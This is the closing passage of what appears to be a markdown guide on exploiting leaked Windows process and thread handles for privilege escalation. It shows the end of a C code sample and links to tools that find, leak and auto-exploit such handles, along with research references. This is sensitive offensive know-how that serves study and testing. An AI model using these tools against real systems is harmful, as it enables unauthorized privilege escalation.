    679 
    680 	Sleep(20000);
    681     return 0;
    682 }
    683 ```
    684 
    685 ## Other tools and examples
    686 
    687 - [**https://github.com/lab52io/LeakedHandlesFinder**](https://github.com/lab52io/LeakedHandlesFinder)<sup>[[2]](#references)</sup>
    688 
    689 This tool allows you to monitor leaked handles to find vulnerable ones and even auto-exploit them. It also has a tool to leak one.<sup>[[2]](#references)</sup>
    690 
    691 - [**https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles**](https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles)<sup>[[4]](#references)</sup>
    692 
    693 Another tool to leak a handle and exploit it.<sup>[[4]](#references)</sup>
    694 
    695 ## References
    696 
    697 - [1] [Exploiting Leaked Process and Thread Handles (dronesec)](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)
    698 - [2] [LeakedHandlesFinder - Leaked Windows processes handles identification tool (lab52)](https://github.com/lab52io/LeakedHandlesFinder)
    699 - [3] [Exploiting a Leaked Thread Handle - James Forshaw, Project Zero](https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html)
    700 - [4] [ReHacks - Leaky Handles (abankalarm)](https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles)